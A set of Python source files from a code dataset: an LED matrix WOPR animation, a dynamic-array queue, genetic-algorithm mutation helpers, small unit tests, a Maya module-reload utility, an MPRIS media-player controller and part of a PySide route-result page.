OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\nimport time\nimport random\n\nBRIGHTNESS = 5\n\nUPDATE_RATE_SECONDS = 0.2\n\nBLACK = 0\nGREEN = 1\nYELLOW = 3\nRED = 2\n\nclass Led8x8Wopr:\n \"\"\" WOPR pattern based on the movie Wargames \"\"\"\n\n def __init__(self, matrix8x8):\n \"\"\" create initial conditions and saving display and I2C lock \"\"\"\n self.matrix = matrix8x8\n self.matrix.set_brightness(BRIGHTNESS)\n\n def reset(self,):\n \"\"\" initialize to starting state and set brightness \"\"\"\n self.matrix.set_brightness(BRIGHTNESS)\n\n def output_row(self, start, finish, color):\n \"\"\" display a section of WOPR based on starting and ending rows \"\"\"\n for xpixel in range(8):\n for ypixel in range(start, finish):\n bit = random.randint(0, 1)\n if bit == 0:\n self.matrix.set_pixel(ypixel, xpixel, BLACK)\n #self.matrix.set_pixel(xpixel, ypixel, BLACK)\n else:\n self.matrix.set_pixel(ypixel, xpixel, color)\n #self.matrix.set_pixel(xpixel, ypixel, color)\n\n def display(self,):\n \"\"\" display the series as a 64 bit image with alternating colored pixels \"\"\"\n time.sleep(UPDATE_RATE_SECONDS)\n self.matrix.clear()\n self.output_row(0, 1, RED)\n self.output_row(1, 2, YELLOW)\n self.output_row(2, 4, RED)\n self.output_row(4, 5, YELLOW)\n self.output_row(5, 8, RED)\n self.matrix.write_display()\n\nif __name__ == '__main__':\n exit()\n","sub_path":"led8x8wopr.py","file_name":"led8x8wopr.py","file_ext":"py","file_size_in_byte":2698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"144036244","text":"\nfrom API import Queue, Iterator\n\nclass DynamicArrayQueue(Queue):\n def __init__(self):\n self._internalArray = [None] # Internal array containing the queue elements\n self._queueSize = 0 # Size of queue, and index of the next free slot\n self._front = 0 # Index of front element\n self._rear = -1 # Index of rear element\n\n def enqueue(self, x):\n if self._queueSize >= len(self._internalArray):\n self._resizeArray(2 * len(self._internalArray))\n self._rear = (self._rear + 1) % len(self._internalArray) # Circular increment\n self._internalArray[self._rear] = x\n self._queueSize += 1\n\n def peek(self):\n if not (self._queueSize > 0): raise IndexError(\"peek from empty queue\")\n return self._internalArray[self._front]\n\n def dequeue(self):\n if not (self._queueSize > 0): raise IndexError(\"dequeue from empty queue\")\n self._queueSize -= 1\n x = self._internalArray[self._front]\n self._internalArray[self._front] = None # For garbage collection\n self._front = (self._front + 1) % len(self._internalArray) # Circular increment\n if self._queueSize <= len(self._internalArray) // 3:\n self._resizeArray(len(self._internalArray) // 2)\n return x\n\n def _resizeArray(self, newCapacity):\n newArray = [None] * newCapacity\n for i in range(self._queueSize):\n newArray[i] = self._internalArray[(i + self._front) % len(self._internalArray)]\n self._internalArray = newArray\n self._front = 0\n self._rear = self._queueSize-1\n\n def isEmpty(self):\n return self._queueSize == 0\n\n def size(self):\n return self._queueSize\n\n def __iter__(self):\n return DynamicArrayQueueIterator(self._internalArray, self._front, self._queueSize)\n\n# Python does not have internal classes, so we have to make the iterator standalone.\nclass DynamicArrayQueueIterator(Iterator):\n def __init__(self, array, front, size):\n self._array = array\n self._front = front\n self._size = size\n self._index = -1\n\n def __iter__(self):\n return self\n\n def __next__(self):\n self._index += 1\n if self._index >= self._size:\n raise StopIteration\n return self._array[(self._index + self._front) % len(self._array)]\n\n\n#######################################################################################\n## What comes below is purely for debugging and testing purposes - it can be removed ##\n\ndef _printList(l):\n print(len(l._internalArray), \":\", l._front, \"[\",\n \" \".join(\"-\" if e is None else str(e) for e in l._internalArray), \"]\",\n l._rear, \" ... \", \" \".join(str(e) for e in l), \"|\", l.size())\n\nif __name__ == '__main__':\n a = DynamicArrayQueue()\n for i in range(23):\n a.enqueue(chr(i+65))\n a.enqueue(chr(i+97))\n a.dequeue()\n if a.size() % 5 == 0: _printList(a)\n _printList(a)\n while not a.isEmpty():\n assert a.peek() == a.dequeue(), (a,)\n if a.size() % 3 == 2: _printList(a)\n _printList(a)\n","sub_path":"Published/SourceCode/Python/DynamicArrayQueue.py","file_name":"DynamicArrayQueue.py","file_ext":"py","file_size_in_byte":3153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"486344749","text":"import random\nfrom params import params\n\n\ndef recombine(parent_a, parent_b):\n \"\"\"\n Recombine the code sequences of parent_a and parent_b\n into a new code sequence.\n :param parent_a: Parent A's Gene\n :type parent_a: Gene\n :param parent_b: Parent B's Gene\n :type parent_b: Gene:\n :return: A new code formed from parent A' gene's\n code and parent B's gene's code.\n :rtype: A list of characters\n \"\"\"\n code_a = parent_a.get_seq()\n code_b = parent_b.get_seq()\n # Do not let the length of a gene fall less that 2\n new_code_length = max(((len(code_a) + len(code_b)) // 2), 2)\n # Find out which is the longer gene\n if len(code_a) < len(code_b):\n shorter_parent_code = code_a\n longer_parent_code = code_b\n else:\n shorter_parent_code = code_b\n longer_parent_code = code_a\n new_gen_code = list()\n # Calculate the length of the new gene which can and\n # cannot be generated from both parents\n shared_parent_length = len(shorter_parent_code)\n # Produce as much of the new gene from a combination of\n # both parent's _genes as is possible\n for x in range(0, shared_parent_length):\n new_gen_code.append(code_a[x] if random.choice([True,False]) else code_b[x])\n # produce the rest of the gene from the longer parent's _gene\n new_gen_code[shared_parent_length:] = longer_parent_code[shared_parent_length:new_code_length - 1]\n return new_gen_code\n\n\ndef produce_random_gene(size_mem):\n \"\"\"\n Produce a randomly generated _gene of size 2^_size_mem.\n The relevant portions of the gene extend from offset\n 0 through 2^_size_mem ( inclusive )\n :param size_mem: the size of a Cell's memory\n :type size_mem: int\n :return: A _gene sequence\n :rtype: a list of characters\n \"\"\"\n # If the size is provided, make sure\n # to update this gene's memory size\n code = []\n code.append(0)\n for x in range(1, 2 ** size_mem):\n code.append(get_random_choice())\n return code\n\n\ndef get_random_choice(chance=0.5):\n \"\"\"\n Produce a choice, 'c' or 'd',\n depending on the random value chance\n :param chance: The chance that a random choice\n will be a 'd' instead of a 'c'\n :type chance: float Representing a probability\n :return: a 'd' or a 'c'\n :rtype: char\n \"\"\"\n return 'd' if chance > random.random() else 'c'\n\n\ndef get_other_choice(choice):\n \"\"\"\n Return the opposite choice of the argument provided\n :param choice: the choice character for which the opposite is desired\n :type choice: char\n :return: the character of the opposite choice\n :rtype: char\n \"\"\"\n return 'd' if choice == 'c' else 'c'\n\n\ndef is_valid_choice(choice):\n \"\"\"\n Return true if the 'choice' is a valid choice.\n Return false otherwise.\n :param choice: A choice 'c' or 'd'\n :type choice: char\n :return: true if the choice is valid,\n or false otherwise.\n :rtype: boolean\n \"\"\"\n if choice != 'd' or choice != 'c':\n return False\n else:\n return True\n\n\ndef is_valid_position(code, pos):\n \"\"\"\n Return true if the 'pos' is a valid _position.\n Return false otherwise.\n :param pos: An offset in this code\n :type pos: int\n :param code: A list of choices\n :type code: list(char)\n :return: true if the position in the code\n is valid, and false otherwise.\n :rtype: boolean\n \"\"\"\n if 1 > pos: return False\n if len(code) <= pos: return False\n return True\n\n\ndef mutate(code):\n \"\"\"\n Apply the simulation mutations to a Gene's _gene\n :param code: A list of choices, a Gene's sequence.\n :type code: list(char)\n \"\"\"\n apply_flips(code)\n applyDeletions(code)\n apply_insertions(code)\n\n\ndef apply_flips(code):\n \"\"\"\n Proceed over the code and apply flip mutations\n according to the probabilty of a flip.\n :param code: a list of character as code\n :type code: list(char)\n \"\"\"\n for x in range(1, len(code)):\n if params['mutation_chance_flip'] > random.random():\n code[x] = get_other_choice(code[x])\n\ndef applyDeletions(code):\n \"\"\"\n Apply deletions over this Gene's _gene according\n to the probability of a deletion per choice in\n the length of the Gene's _gene\n :param code: a Gene's code sequence\n :type code: list(char)\n \"\"\"\n # We cannot delete a choice if the length of the\n # code is already only 2 long. 2 long is just\n # 1 choice.\n for x in range(1, len(code)):\n if len(code) <= 2:\n break;\n if params['mutation_chance_delete'] > random.random():\n remove_choice(code, x)\n\n\ndef apply_insertions(code):\n \"\"\"\n Apply any mutational insertions to this Gene's _gene\n according to the probability of insertion per choice\n over the length of the Gene's gene.\n :param code: a list of character as code\n :type code: list(char)\n \"\"\"\n for x in range(1, len(code)):\n if params['mutation_chance_insert'] > random.random():\n insert_choice(code, get_random_choice(), x)\n\n\ndef insert_choice(code, choice, pos):\n \"\"\"\n insert the choice 'c' or 'd' into the _position in the gene\n directly after 'pos'.\n :param code: A list of character as code\n :type code: list(char)\n :param choice: The choice of 'c' or 'd'\n :type choice: char\n :param pos: The position in the code after which to insert the choice\n :type pos: int\n \"\"\"\n if not is_valid_choice(choice):\n choice = get_random_choice()\n if not is_valid_position(code, pos):\n code.append(choice)\n else:\n code.insert(pos, choice)\n\n\ndef append_choice(code, choice):\n \"\"\"\n Append the choice to the this gene\n :param code: A list of character as code\n :type code: list(char)\n :param choice: the choice to append\n :type choice: char\n \"\"\"\n if not is_valid_choice(choice):\n choice = get_random_choice()\n code.append(choice)\n\n\ndef remove_choice(code, pos):\n \"\"\"\n Remove the choice at _position 'pos' in the code.\n If the _position is not valid, the last choice is removed.\n :param code: A Gene sequence\n :type code: list(char)\n :param pos: the position of the choice to remove\n :type pos: int\n \"\"\"\n if not is_valid_position(code, pos):\n pos = len(code) - 1\n del code[pos]\n","sub_path":"src/auxiliaryGenetics.py","file_name":"auxiliaryGenetics.py","file_ext":"py","file_size_in_byte":6321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"612783684","text":"def test_minmax():\n from minmax import findextremes\n from minmax import contains_imaginary\n from minmax import check_list\n from minmax import check_input\n import pytest\n findextremes_Output1 = findextremes([0, -1.5, -2, -7, -53])\n findextremes_Output2 = findextremes([0, 3.2, 2, 10, 6])\n findextremes_Output3 = findextremes([2, -3, 54, 6, 10])\n assert findextremes_Output1 == [-53.0, 0.0]\n assert findextremes_Output2 == [0, 10]\n assert findextremes_Output3 == [-3.0, 54.0]\n\n def test_imaginary_input():\n with pytest.raises(ValueError):\n findextremes([3+2j, 4])\n\n def test_empty_input():\n with pytest.raises(TypeError):\n findextremes([])\n\n def test_non_list_in():\n with pytest.raises(TypeError):\n findextremes('Hello World')\n","sub_path":"test_minmax.py","file_name":"test_minmax.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"469556422","text":"# coding: utf-8\nfrom __future__ import absolute_import\n\nimport sys\nimport ast\nimport inspect\nimport types\nimport distutils.sysconfig\n\n\ntry:\n from six.moves import reload_module, builtins\nexcept ImportError:\n reload_module = reload\n builtins = __builtin__\n\n\nSTDLIB_ROOT = distutils.sysconfig.get_python_lib(standard_lib=True).lower()\nMAYALIB_ROOT = 'C:\\\\Program Files\\\\Autodesk\\\\Maya2018\\\\bin'\n\n\n__reloaded_modules = set()\n\n\ndef force_reload(module_obj):\n global __reloaded_modules\n __reloaded_modules.clear()\n\n __force_reload_rec(module_obj)\n\n\ndef __is_reload_target(module_obj):\n module_file = module_obj.__dict__.get('__file__', None)\n if module_file is None:\n return False\n\n if module_file.startswith(MAYALIB_ROOT):\n return False\n\n if module_file.lower().startswith(STDLIB_ROOT):\n return False\n\n return True\n\n\ndef __force_reload_rec(module_obj, indent=0):\n if not isinstance(module_obj, types.ModuleType):\n return\n\n global __reloaded_modules\n if module_obj in __reloaded_modules:\n return False\n\n if not __is_reload_target(module_obj):\n return\n\n print('{}reload {}, {}'.format(' ' * indent, module_obj.__name__, module_obj.__file__))\n\n for submodule in __find_submodules(module_obj):\n if not __is_reload_target(submodule.module_obj):\n continue\n\n __force_reload_rec(submodule.module_obj, indent + 1)\n\n module_obj = reload_module(module_obj)\n __reloaded_modules.add(module_obj)\n\n if submodule.from_import:\n for symbol in submodule.symbols:\n name = symbol.name\n\n as_name = symbol.as_name\n if as_name is None:\n as_name = name\n\n # if as_name[0] != 'Q':\n # if as_name == name:\n # print('{} - ({}) {} {} {} -> {}'.format(\n # ' ' * (indent + 1),\n # module_obj.__name__,\n # name, module_obj.__dict__[as_name],\n # id(module_obj.__dict__[as_name]), id(submodule.module_obj.__dict__[name])))\n # else:\n # print('{} - ({}) {} as {} {} {} -> {}'.format(\n # ' ' * (indent + 1),\n # module_obj.__name__,\n # name, as_name, module_obj.__dict__[as_name],\n # id(module_obj.__dict__[as_name]), id(submodule.module_obj.__dict__[name])))\n\n module_obj.__dict__[as_name] = submodule.module_obj.__dict__[name]\n\n\nclass __ModuleInfo(object):\n\n def __init__(self):\n self.name = None\n self.module_obj = None\n self.from_import = False\n self.symbols = []\n\n def __repr__(self):\n return '{}, {}, {}, {}'.format(self.name, self.module_obj, self.from_import, ', '.join(self.symbols))\n\n\nclass __SymbolInfo(object):\n\n def __init__(self, name):\n if isinstance(name, ast.alias):\n self.name = name.name\n self.as_name = name.asname\n else:\n self.name = name\n self.as_name = None\n\n def __repr__(self):\n if self.as_name is not None:\n return '{} as {}'.format(self.name, self.as_name)\n else:\n return self.name\n\n\ndef __find_submodules(module_obj):\n try:\n source = inspect.getsource(module_obj)\n except TypeError:\n return []\n except IOError:\n return []\n\n tree = ast.parse(source)\n\n modules = []\n\n for node in tree.body:\n if isinstance(node, ast.Import):\n target_module = __get_sys_module(module_obj, node.names[0].name)\n if target_module is None:\n continue\n\n module = __ModuleInfo()\n module.module_obj = target_module\n modules.append(module)\n\n elif isinstance(node, ast.ImportFrom):\n target_module = __get_sys_module(module_obj, node.module)\n if target_module is None:\n continue\n\n if node.names[0].name == '*':\n if '__all__' in target_module.__dict__:\n symbols = [__SymbolInfo(x) for x in target_module.__dict__['__all__']]\n else:\n symbols = [__SymbolInfo(x) for x in target_module.__dict__ if not x.startswith('__')]\n else:\n symbols = [__SymbolInfo(x) for x in node.names]\n\n module = __ModuleInfo()\n module.name = node.module\n module.module_obj = target_module\n module.from_import = True\n module.symbols = symbols\n\n modules.append(module)\n\n return modules\n\n\ndef __get_sys_module(module_obj, node_name):\n # absolute import\n module_name = node_name\n if module_name not in sys.modules:\n # relative import\n module_name = '{}.{}'.format(module_obj.__name__, node_name)\n if module_name not in sys.modules:\n if module_obj.__package__ is None:\n return None\n module_name = '{}.{}'.format(module_obj.__package__, node_name)\n\n if module_name not in sys.modules:\n return None\n\n return sys.modules[module_name]\n","sub_path":"libs/utils/force_reload.py","file_name":"force_reload.py","file_ext":"py","file_size_in_byte":5253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"185443090","text":"import asyncio\nfrom threading import Thread, Event\nfrom time import sleep\n\nfrom dbus_next.aio import MessageBus as DbusMessageBus\nfrom dbus_next.message import Message as DbusMessage, \\\n MessageType as DbusMessageType\nfrom ovos_plugin_common_play.ocp.status import TrackState, PlaybackType, \\\n PlayerState, LoopState\nfrom ovos_utils.log import LOG\n\n\nclass MprisPlayerCtl(Thread):\n def __init__(self, daemonic=True):\n super(MprisPlayerCtl, self).__init__()\n self.dbus = None\n self.loop = asyncio.get_event_loop()\n\n self.setDaemon(daemonic)\n self.shutdown_event = Event()\n self.stop_event = Event()\n self.pause_event = Event()\n self.resume_event = Event()\n self.next_event = Event()\n self.prev_event = Event()\n\n self.main_player = None\n self.players = {}\n self.player_meta = {}\n self._player_fails = {}\n\n self._ocp_player = None\n\n def bind(self, ocp_player):\n self._ocp_player = ocp_player\n self.start()\n\n def _update_ocp(self):\n if self.stop_event.is_set():\n return\n if self._ocp_player and self.player_meta.get(self.main_player):\n data = self.player_meta[self.main_player]\n\n # reset ocp, it will display metadata of current track\n if self._ocp_player.active_skill != self.main_player:\n self._ocp_player.reset()\n self._ocp_player.gui.show_player()\n\n # player state\n state = data.get(\"state\") or \"Playing\"\n if state == \"Paused\":\n self._ocp_player.set_player_state(PlayerState.PAUSED)\n elif state == \"Playing\":\n self._ocp_player.set_player_state(PlayerState.PLAYING)\n else:\n self._ocp_player.set_player_state(PlayerState.STOPPED)\n self._ocp_player.loop_state = data.get(\"loop_state\") or \\\n self._ocp_player.loop_state\n self._ocp_player.shuffle = data.get(\"shuffle\") or \\\n self._ocp_player.shuffle\n\n # update ocp metadata\n data[\"skill_id\"] = data[\"external_player\"]\n data[\"bg_image\"] = data.get(\"image\")\n data[\"playback\"] = PlaybackType.MPRIS\n data[\"status\"] = TrackState.PLAYING_MPRIS\n self._ocp_player.set_now_playing(data)\n\n async def handle_new_player(self, data):\n LOG.info(f\"Found MPRIS Player: {data['name']}\")\n\n async def handle_player_shuffle(self, shuffle):\n LOG.info(f\"MPRIS Player Shuffle: {shuffle}\")\n\n async def handle_player_loop_state(self, state):\n LOG.info(f\"MPRIS Player Repeat: {state}\")\n\n async def handle_player_state(self, state):\n LOG.info(f\"MPRIS Player State: {state}\")\n\n async def handle_lost_player(self, name):\n LOG.info(f\"Lost MPRIS Player: {name}\")\n self._player_fails.pop(name)\n self.player_meta.pop(name)\n self.players.pop(name)\n\n async def handle_sync_player(self, data):\n if data.get(\"state\") == 'Playing':\n await self._set_main_player(data[\"external_player\"])\n elif data[\"external_player\"] == self.main_player:\n self._update_ocp()\n\n async def _set_main_player(self, name):\n self.main_player = name\n self._update_ocp()\n # if there are multiple external players playing, stop the\n # previous ones!\n # TODO config option disabled by default!\n for p in self.players:\n if p != name:\n await self._stop_player(p)\n\n async def _play_prev(self, name, max_tries=1):\n if name not in self.players:\n LOG.error(f\"Invalid player: {name}\")\n return\n try:\n if self.player_meta[name][\"state\"] == \"Playing\":\n LOG.debug(f\"player previous {name}\")\n player = self.players[name].get_interface(\n 'org.mpris.MediaPlayer2.Player')\n await player.call_previous()\n except:\n max_tries -= 1\n if max_tries > 0:\n await self._play_prev(name, max_tries)\n else:\n LOG.warning(f\"player {name} does not support Previous\")\n\n async def _play_next(self, name, max_tries=1):\n if name not in self.players:\n LOG.error(f\"Invalid player: {name}\")\n return\n try:\n if self.player_meta[name][\"state\"] == \"Playing\":\n LOG.debug(f\"player next {name}\")\n player = self.players[name].get_interface(\n 'org.mpris.MediaPlayer2.Player')\n await player.call_next()\n except:\n max_tries -= 1\n if max_tries > 0:\n await self._play_next(name, max_tries)\n else:\n LOG.warning(f\"player {name} does not support Next\")\n\n async def _pause_player(self, name, max_tries=1):\n if name not in self.players:\n LOG.error(f\"Invalid player: {name}\")\n return\n try:\n if self.player_meta[name][\"state\"] == \"Playing\":\n LOG.debug(f\"pausing player {name}\")\n player = self.players[name].get_interface(\n 'org.mpris.MediaPlayer2.Player')\n await player.call_pause()\n except:\n max_tries -= 1\n if max_tries > 0:\n await self._pause_player(name, max_tries)\n else:\n LOG.warning(f\"player {name} can not be paused\")\n\n async def _resume_player(self, name, max_tries=1):\n if name not in self.players:\n LOG.error(f\"Invalid player: {name}\")\n return\n try:\n if self.player_meta[name][\"state\"] != \"Playing\":\n LOG.debug(f\"resuming player {name}\")\n player = self.players[name].get_interface(\n 'org.mpris.MediaPlayer2.Player')\n await player.call_play()\n except:\n max_tries -= 1\n if max_tries > 0:\n await self._resume_player(name, max_tries)\n else:\n LOG.warning(f\"player {name} can not be resumed\")\n\n async def _stop_player(self, name, max_tries=1):\n if name not in self.players:\n LOG.error(f\"Invalid player: {name}\")\n return\n try:\n if self.player_meta[name][\"state\"] == \"Playing\":\n LOG.debug(f\"stopping player {name}\")\n player = self.players[name].get_interface(\n 'org.mpris.MediaPlayer2.Player')\n await player.call_stop()\n except:\n max_tries -= 1\n if max_tries > 0:\n await self._stop_player(name, max_tries)\n else:\n LOG.warning(f\"player {name} can not be stopped\")\n if name == self.main_player:\n self.main_player = None\n\n async def _stop_all(self):\n for p in self.players:\n await self._stop_player(p)\n\n async def _pause_all(self):\n for p in self.players:\n await self._pause_player(p)\n\n async def scan_players(self):\n reply = await self.dbus.call(\n DbusMessage(destination='org.freedesktop.DBus',\n path='/org/freedesktop/DBus',\n interface='org.freedesktop.DBus',\n member='ListNames'))\n\n if reply.message_type == DbusMessageType.ERROR:\n raise Exception(reply.body[0])\n\n players = []\n for name in reply.body[0]:\n if \"org.mpris.MediaPlayer2\" in name:\n if name in self.players:\n continue\n await self.handle_new_player({\"name\": name})\n introspection = await self.dbus.introspect(\n name, '/org/mpris/MediaPlayer2')\n self.players[name] = self.dbus.get_proxy_object(\n name, '/org/mpris/MediaPlayer2', introspection)\n self._create_player_handler(name)\n await self.query_player(name)\n return players\n\n def _create_player_handler(self, name):\n player = self.players[name]\n try:\n properties = player.get_interface(\n 'org.freedesktop.DBus.Properties')\n except:\n # chromium\n LOG.warning(f\"Player {name} does not allow reading properties\")\n return\n\n # listen to signals\n async def on_properties_changed(interface_name,\n changed_properties,\n invalidated_properties):\n for changed, variant in changed_properties.items():\n player_name = properties.bus_name\n if changed == \"PlaybackStatus\":\n await self.handle_player_state(variant.value)\n state = self.player_meta[player_name].get(\"state\")\n if state != variant.value or not state:\n self.player_meta[player_name][\"state\"] = variant.value\n await self.handle_sync_player(\n {\"state\": variant.value,\n \"external_player\": player_name})\n elif changed == \"Metadata\":\n await self.update_player_meta(player_name, variant.value)\n elif changed == \"Shuffle\":\n self.player_meta[player_name][\"shuffle\"] = variant.value\n await self.handle_player_shuffle(variant.value)\n elif changed == \"LoopStatus\":\n if variant.value == \"Track\":\n state = LoopState.REPEAT_TRACK\n elif variant.value == \"Playlist\":\n state = LoopState.REPEAT\n else:\n state = LoopState.NONE\n self.player_meta[player_name][\"loop_state\"] = state\n await self.handle_player_loop_state(state)\n # else:\n # LOG.debug(f'{changed} - {variant.value}')\n\n properties.on_properties_changed(on_properties_changed)\n\n async def update_player_meta(self, name, meta):\n ocp_data = {\"external_player\": name}\n\n # these are injected when player is queried\n ocp_data[\"state\"] = meta.get(\"state\")\n ocp_data[\"loop_state\"] = meta.get(\"loop_state\")\n\n for k, v in meta.items():\n if k == \"xesam:title\":\n ocp_data[\"title\"] = v.value\n elif k == \"xesam:artist\":\n ocp_data[\"artist\"] = v.value[0]\n elif k == \"xesam:album\":\n ocp_data[\"album\"] = v.value\n elif k == \"mpris:artUrl\":\n ocp_data[\"image\"] = v.value\n elif k == \"mpris:length\":\n ocp_data[\"length\"] = v.value\n\n self.player_meta[name] = ocp_data\n await self.handle_sync_player(ocp_data)\n\n async def query_player(self, name):\n if name not in self.players:\n LOG.error(f\"Invalid player: {name}\")\n return\n try:\n player = self.players[name].get_interface(\n 'org.mpris.MediaPlayer2.Player')\n meta = await player.get_metadata()\n meta[\"external_player\"] = name\n try:\n meta[\"state\"] = await player.get_playback_status()\n except: # dbus_next.errors.DBusError\n pass\n try:\n loop_status = await player.get_loop_status()\n if loop_status == \"None\":\n # The playback will stop when there are no more tracks to play\n meta[\"loop_state\"] = LoopState.NONE\n elif loop_status == \"Track\":\n # The current track will start again from the begining once it has finished playing\n meta[\"loop_state\"] = LoopState.REPEAT_TRACK\n elif loop_status == \"Playlist\":\n # The playback loops through a list of tracks\n meta[\"loop_state\"] = LoopState.REPEAT\n except AttributeError:\n pass # not all players expose this\n await self.update_player_meta(name, meta)\n self._player_fails[name] = 0\n except Exception as e: # chromium / player closed\n if name not in self._player_fails:\n self._player_fails[name] = 0\n self._player_fails[name] += 1\n if self._player_fails[name] > 3:\n LOG.debug(f\"failed to query player {name}\")\n await self.handle_lost_player(name)\n\n async def event_loop(self):\n self.shutdown_event.clear()\n self.stop_event.clear()\n self.pause_event.clear()\n\n if not self.dbus:\n self.dbus = await DbusMessageBus().connect()\n\n while not self.shutdown_event.is_set():\n # ocp requests to manipulate external players\n if self.stop_event.is_set():\n await self._stop_all()\n self.stop_event.clear()\n\n if self.pause_event.is_set():\n await self._pause_all()\n self.pause_event.clear()\n\n if self.prev_event.is_set():\n await self._play_prev(self.main_player)\n self.prev_event.clear()\n\n if self.next_event.is_set():\n await self._play_next(self.main_player)\n self.next_event.clear()\n\n if self.resume_event.is_set():\n await self._resume_player(self.main_player)\n self.resume_event.clear()\n\n # scan for new external players\n await self.scan_players()\n sleep(1) # TODO configurable time between checks\n\n # sync player meta, not all players send all events properly...\n # eg, firefox videos do not send events if they autoplay, only if\n # you click the play button\n for player in list(self.players.keys()):\n await self.query_player(player)\n sleep(1) # TODO configurable time between checks\n\n def run(self):\n self.loop.run_until_complete(self.event_loop())\n\n def play_prev(self):\n self.prev_event.set()\n\n def play_next(self):\n self.next_event.set()\n\n def resume(self):\n self.resume_event.set()\n\n def pause(self):\n self.pause_event.set()\n\n def stop(self):\n self.stop_event.set()\n\n def shutdown(self):\n self.stop()\n self.shutdown_event.set()\n self.loop.stop()\n while self.loop.is_running():\n sleep(0.2)\n self.loop.close()\n","sub_path":"ovos_plugin_common_play/ocp/mpris.py","file_name":"mpris.py","file_ext":"py","file_size_in_byte":14708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"370692950","text":"\"\"\"Unit tests for FilterParser class\n\"\"\"\n\n\nfrom unittest import main\nfrom unittest import TestCase\n\nfrom smokinggun.mailgunservice.utils import FilterParser\n\n\nclass FilterParserTestCase(TestCase):\n \"\"\"Unit tests for FilterParser class\"\"\"\n def setUp(self):\n self.parser = FilterParser()\n\n def tearDown(self):\n pass\n\n def test_extract_event_params(self):\n \"\"\"Test method returns expected extracted events\"\"\"\n filters = {\n 'from': 'michaelangelo@gmail.com',\n 'to': 'Picaso',\n 'recipient': 'picaso@gmail.com',\n 'subject': 'Who do you think you are?',\n 'favorite_animal': 'angel'\n }\n\n expected_params = {\n 'subject': 'Who do you think you are?',\n 'recipient': 'picaso@gmail.com'\n }\n\n params = self.parser.extract_event_params(filters)\n\n self.assertEqual(expected_params, params)\n\n def test_extract_suppression_params(self):\n \"\"\"Test method returns expected extracted filters\"\"\"\n filters = {\n 'recipient': 'bobby@tables.com',\n 'delete': 'all the tables'\n }\n\n expected_params = {\n 'recipient': 'bobby@tables.com'\n }\n\n params = self.parser.extract_suppression_params(filters)\n\n self.assertEqual(expected_params, params)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"tests/mailgunservice/test_parser.py","file_name":"test_parser.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"23744831","text":"import sys\r\nfrom astar_nextstation import *\r\nfrom UI_draw_train_path import DrawTrainPath\r\nfrom PySide.QtCore import *\r\nfrom PySide.QtGui import *\r\nfrom PySide.QtUiTools import *\r\n\r\nclass PathResultPage(QMainWindow):\r\n def __init__(self, parent = None):\r\n QMainWindow.__init__(self,None)\r\n self.parent = parent\r\n self.init_path_result_page()\r\n\r\n def init_path_result_page(self):\r\n loader = QUiLoader()\r\n form = loader.load(\"UIDesign/result_page.ui\")\r\n self.setCentralWidget(form)\r\n\r\n #train path widget\r\n self.train_path_label = form.findChild(QLabel,\"train_path_label\")\r\n self.train_path_label.setStyleSheet(\"QLabel { background-color :#F3F3F3;}\")\r\n \r\n #self.path_grid_layout = form.findChild(QGridLayout,\"path_grid_layout\")\r\n self.path_vertical_layout = form.findChild(QVBoxLayout,\"path_vertical_layout\")\r\n \r\n #exit widget\r\n self.exit_label = form.findChild(QLabel, \"exit_label\")\r\n self.exit_label.setStyleSheet(\"QLabel { background-color :#F3F3F3;}\")\r\n \r\n self.traveling_time_label = form.findChild(QLabel, \"traveling_time_label\")\r\n self.arrival_time_label = form.findChild(QLabel, \"arrival_time_label\")\r\n \r\n self.exit_scroll_area = form.findChild(QScrollArea, \"exit_scroll_area\")\r\n self.exit_scroll_area.setStyleSheet(\"QScrollArea { background-color :#F3F3F3;}\")\r\n\r\n self.back_button = form.findChild(QPushButton, \"backBtn\")\r\n self.back_button.setText(\"Try Again\")\r\n self.back_button.setStyleSheet(\"QPushButton{color:white;background-color:#EB6553; font-size:24px}\")\r\n self.connect(self.back_button, SIGNAL(\"clicked()\"), lambda page = 0: self.parent.changePage(page))\r\n\r\n #place widget\r\n self.place_scroll_area = form.findChild(QScrollArea, \"place_scroll_area\")\r\n self.place_scroll_area.setStyleSheet(\"QScrollArea { background-color:white; height:0px; width:0px}\")\r\n\r\n self.line_input_one = form.findChild(QLineEdit,\"lineEditOne\")\r\n self.line_input_two = form.findChild(QLineEdit, \"lineEditTwo\")\r\n\r\n \r\n \r\n self.blur_bg_label = form.findChild(QLabel,\"blur_bg_label\")\r\n self.blur_bg_label.setVisible(False)\r\n\r\n pixmap_blur_pic = QPixmap(\"UIDesign/UIBackground/BlurResultPageUI.png\")\r\n self.blur_bg_label.setPixmap(pixmap_blur_pic)\r\n \r\n\r\n\r\n \r\n def printTwo(self):\r\n self.parent.changePage(1)\r\n\r\n def updateGUI(self, result):\r\n self.parent.clearLayout(self.path_vertical_layout)\r\n \r\n ## train_path widget ##\r\n self.path_vertical_layout.addWidget(DrawTrainPath(result))\r\n\r\n\r\n ## exit widget ##\r\n \r\n # traveling\r\n mins_secs = result[1].split(\".\")\r\n \r\n traveling_time = \" \" + mins_secs[0] + \" mins\" \r\n self.traveling_time_label.setText(traveling_time)\r\n self.traveling_time_label.setStyleSheet(\"QLabel{color: #4B4C51;font-size: 72px}\")\r\n \r\n # arrival\r\n sum_mins = (int(self.parent.time[2]) + int(mins_secs[0]))\r\n\r\n if(sum_mins >= 60):\r\n arrival_hour = int(self.parent.time[1]) + sum_mins/60\r\n arrival_minute = sum_mins - ((sum_mins/60) * 60)\r\n if(arrival_minute < 10):\r\n arrival_minute = \"0\" + str(arrival_minute)\r\n else:\r\n arrival_hour = self.parent.time[1]\r\n if(sum_mins >= 10):\r\n arrival_minute = sum_mins\r\n else:\r\n arrival_minute = \"0\" + str(sum_mins)\r\n\r\n if(arrival_hour == 24):\r\n arrival_hour = \"00\"\r\n 